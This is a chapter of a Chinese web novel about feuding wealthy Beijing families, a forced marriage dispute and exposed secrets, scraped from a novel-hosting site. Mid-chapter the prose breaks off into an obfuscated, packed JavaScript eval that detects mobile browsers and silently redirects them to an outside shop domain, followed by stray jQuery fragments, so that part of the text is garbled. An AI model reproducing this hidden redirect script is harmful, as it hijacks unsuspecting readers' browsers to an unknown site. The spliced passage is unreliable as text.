文趣网 > 都市小说 > 京夜不渡[京圈] > 64.谁都别想安生
    山上园子里还能维持着表面的风平浪静。

    周柏梃升任中寰董事长后每天忙得脚不沾地,温旎学校和公司两头跑,虽说两人每天都能见面,但很少有像最近这样,大块依偎在一起的时间。

    壁炉里的火在烧,温旎蜷在沙发上翻看着一本制香古籍,视线已经停留在52页上将近半个小时。周柏梃依偎在她身侧,手里攥着她的一缕长发,正闭目养神。Riko四脚朝天,露着肚皮躺地毯上打盹。

    院子里又落了薄薄一层新雪,室内安静得能听见小狗可爱的鼾声。

    山下却乱成了一锅粥。

    关键这些事儿不止周柏梃一个人的手笔,还有杨家、秦家等等,家里有点本事的都把状告到了周丛生和周仲山那里,没本事的一个个憋着气敢怒不敢言。

    周丛生和周仲山压根找不到周柏梃的人,两人忙得焦头烂额,两人接起电话下意识就是道歉,嗓子已经哑了大半天:“喂,实在是不好意思……”

    周仲涟就在这时风风火火闯进来,把包往桌子上一甩,尖声戾气地质问:

    “爸,那两个小混蛋要结婚,他们说你同意了,这是怎么回事啊?”

    周丛生连忙挂了电话,满脸疲惫:“什么结婚?”

    周仲涟一手指着门外,抓狂怒吼:“他们一个要娶男的,一个要娶别人老婆!他们说你同意了!”

    周丛生这才想起来,前几天那两只狼崽子确实来过,他当时心烦意乱,只当他们在胡闹,随口训斥了一句便把人打发走了。

    他揉了揉眉心:“我以为他们两个在开玩笑。”

    “什么开玩笑!”周仲涟尖叫,“江玉缺已经要带着那个男人去美国结婚了!”

    周仲山捂了捂耳朵,不耐烦地拧起眉:“你声音能不能小点?”他从小就不待见这个小妹,咋咋呼呼,芝麻大的事也要闹得全家人不安宁。

    他冷嘲热讽道:“他们干的哪件事不比结婚混账?现在知道急了?早干嘛去了!喊我舅舅我都觉得丢人!”

    周仲涟眼一横,抓起手边的茶盏往周仲山脚边猛地砸过去,瓷片碎裂的声音在厅里炸开。

    她箭步上前,一把揪住他的衣领,咬牙切齿道:“周仲山,你想死是不是?你就是克妻克子的命!你大儿子就是被你克死的!柏梃迟早也要被你害死!”

    周仲山冷笑一声,甩开她的手:“周仲涟,怪不得你老公要在外面找女人,怪不得你儿子不听你的话。我要是娶了你这种疯女人,我这辈子都不会回家!”

    苏歆荷闻声从正厅赶来,看到眼前的场景,声泪俱下:“诶哟,这是做什么啊!你们可是兄妹!这个家还要不要了!”

    两人一见母亲,各自冷哼一声,往后退了一步。

    周仲涟情绪稍稍平复,催促道:“爸,你快给柏梃打电话,他们两个听柏梃的话!”

    见周丛生不为所动,周仲涟又急了,上前晃他的胳膊:“打啊!你是不是想眼睁睁看着我去死!我死了你是不是就满意了!”

    苏歆荷性子软,心疼子女,也跟着劝老头子想想法子。

    周丛生摆摆手:“自己的儿子自己管,我想不出法子。”

    周仲涟刚要发作,视线里忽然出现一抹熟悉又陌生的身影。待那人走近后,她弯唇一笑,往后退了几步,藏进了角落里。下一秒,带着凌厉掌风的巴掌以迅雷不及掩耳之势扇在周仲山的脸上,尖锐的指甲在男人脸上刮过一道血痕。

    “周仲山,你不要脸的烂货!”杨文卿指着他的鼻子就骂,“你就该死在女人身上!你个没皮没脸的贱种!”

    周仲山被打蒙了,反应过来后脸涨得通红,扬手就要还回去,手腕却被人猛地攥住了。

    一回头,周仲涟笑得幸灾乐祸:“欸欸欸,大哥,你打女人算什么本事?”

    杨文卿瞟了一眼素来和她不对付的小姑子,轻哼了一声。

    周仲山甩开周仲涟的手,狠狠地剜了一眼前妻:“杨文卿,你怎么说话的!”他们已经两三年没见了,听说她整天吃斋念佛,可这嚣张跋扈的性子倒是一点没改。

    杨文卿昂首挺胸,目光轻蔑:“我告诉你,你那六个贱种,我会一个一个找他们算账。”

    周仲山张了张嘴:“你——”

    “我什么?”杨文卿嗤笑一声,“你以为你瞒得了我?”

    肯定是周柏梃。

    周仲山恨恨咬牙,他就知道,这小子关键时刻肯定会把他卖了。

    “文卿,差不多得了。”

    周丛生头疼欲裂,只想让这帮人都滚出去。

    苏歆荷知道自己管不了子女的事,只抹了抹眼泪,把身子扭到一边。

    “差不多得了?”杨文卿仰头哈哈大笑,抬手抹去眼角沁出来的泪花,指着周仲山,“你周家拿了我杨家多少好处,又是怎么对我的?”

    气氛骤然沉了下去。周杨两家的长子长女联姻本该是一段佳话,闹到现在老死不相往来的地步,责任全在风流成性的周仲山身上。

    周仲涟目光扫视一圈,忽然又开口:“我儿子怎么就不能和喜欢的姑娘在一起了?”

    这下所有人心里都跟明镜似的,总算是知道杨文卿为什么来闹这么一通了。

    “怎么着,我死了的儿子魂要守着你们周家,活着的儿子还得被你们这帮烂货吃干抹净?”杨文卿声色俱厉,“真当我杨家人都死完了!”

    ”杨文卿是个真疯子,杨家上下谁不怕她?唯一能镇得住场面的杨老爷子,还格外心疼他婚姻不幸的大女儿。

    周丛生体力不支,应付不来这种场面;周仲山害怕杨文卿真的搬出杨老爷子,也不敢出声。

    “我告诉你,这只是个开始。让我心不顺,大家都别好过!”杨文卿懒得再看周仲山一眼,说完转身便走。

    离开周家后,杨文卿直奔陈家。

    坐在车上,她从包里拿出一沓照片。

    周柏梃把名单给她以后,她先让人去跟踪陈叙寒,没想到居然拍到了惊天大秘密。

    她轻啧了一声,等会儿钟明洛知道自己女儿和一个私生子在一起会是什么表情呢?

    “姐,完蛋了,呜呜呜,我妈妈知道了......”

    温旎偏头看向身边的“八爪鱼”,把手机拿远了一些,问:“你做的?”

    周柏梃不解:“什么?”

    温旎拧着眉:“你把陈叙寒和京姝在一起的事告诉我小姨了?”

    周柏梃从床上坐起来,满脸震惊:“他们在一起了?”

    温旎抿了抿唇,一言不发地握着手机下了床,去了小客厅。

    门关上后,她才开口问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745736|206288||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“小姨现在什么反应?”

    陈京姝哭得直打嗝:“她一句话都没说,连看都不看我,直接上楼了。”

    温旎揉了揉太阳穴:“那他呢?”

    陈京姝抽噎着:“被爸爸喊到书房了……我听不到里面的动静。”

    手机轻轻震了一下。

    小姨的短信跳出来:【旎旎,这事你别管。我会处理。】

    温旎握着手机回到卧室,周柏梃还坐在床边看着她。

    她盯着他的眼睛:“这事真跟你没关系?”

    周柏梃神色坦然,摇了摇头:“没。我要是骗你的话——”

    她立刻抬手堵住了他的嘴:“不要乱讲,大过年的,要避谶。”

    周柏梃握住她那只手,指腹轻轻蹭了蹭她的指节,轻轻亲了下她的掌心。

    我要是骗你的话,你就爱我一辈子。

    周柏梃面不改色心不跳地这么想着,他确实不知道陈叙寒和陈京姝的恋情,但这事曝光也确实有他的原因。

    不过,就算没有他,这事儿迟早也要放在光下论上一论。

    *

    今年最后一天,满城不见一点喜庆的影子。

    黑压压的乌云从北边压过来,低低地悬在山头,不知道要落下来的是雨还是雪。

    周柏梃换了身休闲衣,下楼时温旎正站在料理台前,给Riko切三文鱼。

    他走过去,低下头在她侧脸贴了一下:“我等下要回趟老宅。会有厨师上门做年夜饭,等我回来一起吃,吃完我们去雍和宫上香。”

    温旎把狗狗碗搁进食架,擦了擦手指:“我跟你一起去,在车里等你。”

    书房内,周丛生仰躺在榻上,双目微阖,皱纹横亘的脸上满是倦色。

    电话那头的陈老爷子还在喋喋不休——

    “周老,你这个孙子,算是让我这几个家庭不得安生。”

    “我看他是董事长的位置坐腻了,要不是看在你的面子上,我早收拾这小子了!”

    陈家冒风险替周家养了两个私生子,到头来被杨家搅得鸡犬不宁,陈老爷子如何能不生气。

    周丛生叹了一声:“你消消气,消消气。”

    刘妈陪着老太太在正厅打扫老物件,余光瞥见风雪里走出来一个人,一开口激动得声音都变了调:“老太太,柏梃回来了!”

    苏歆荷眼眶一下子红了:“柏梃,你可算来了。”

    周柏梃点了下头:“奶奶。”

    他径直去了书房,周丛生听到动静撑着榻沿坐起来,身影疲累到了极点:“你就非要娶温旎?”

    周柏梃站在门口,抬手扫去肩头的雪:“看来是我做得还不够多。”

    周丛生眉头拧紧:“你等等,你再等等。”

    周柏梃笑了一下:“不成。一天都不等。”

    周丛生嘴唇嗫嚅,声音陡然拔高:“你到底还想做什么?为了点儿女情长,你要把整个家族逼到什么地步?明儿就是大年初一了,你到底让不让人安安生生过这个年!”

    “不让。”周柏梃的语气轻飘飘的,和暴跳如雷的周丛生形成一种几乎残忍的对比。

    他往前迈了半步,身影平稳:“我今儿来就是想告诉你,就是过了这个年,也别想安生。我会让你看着我一点点毁掉你最在乎的东西。”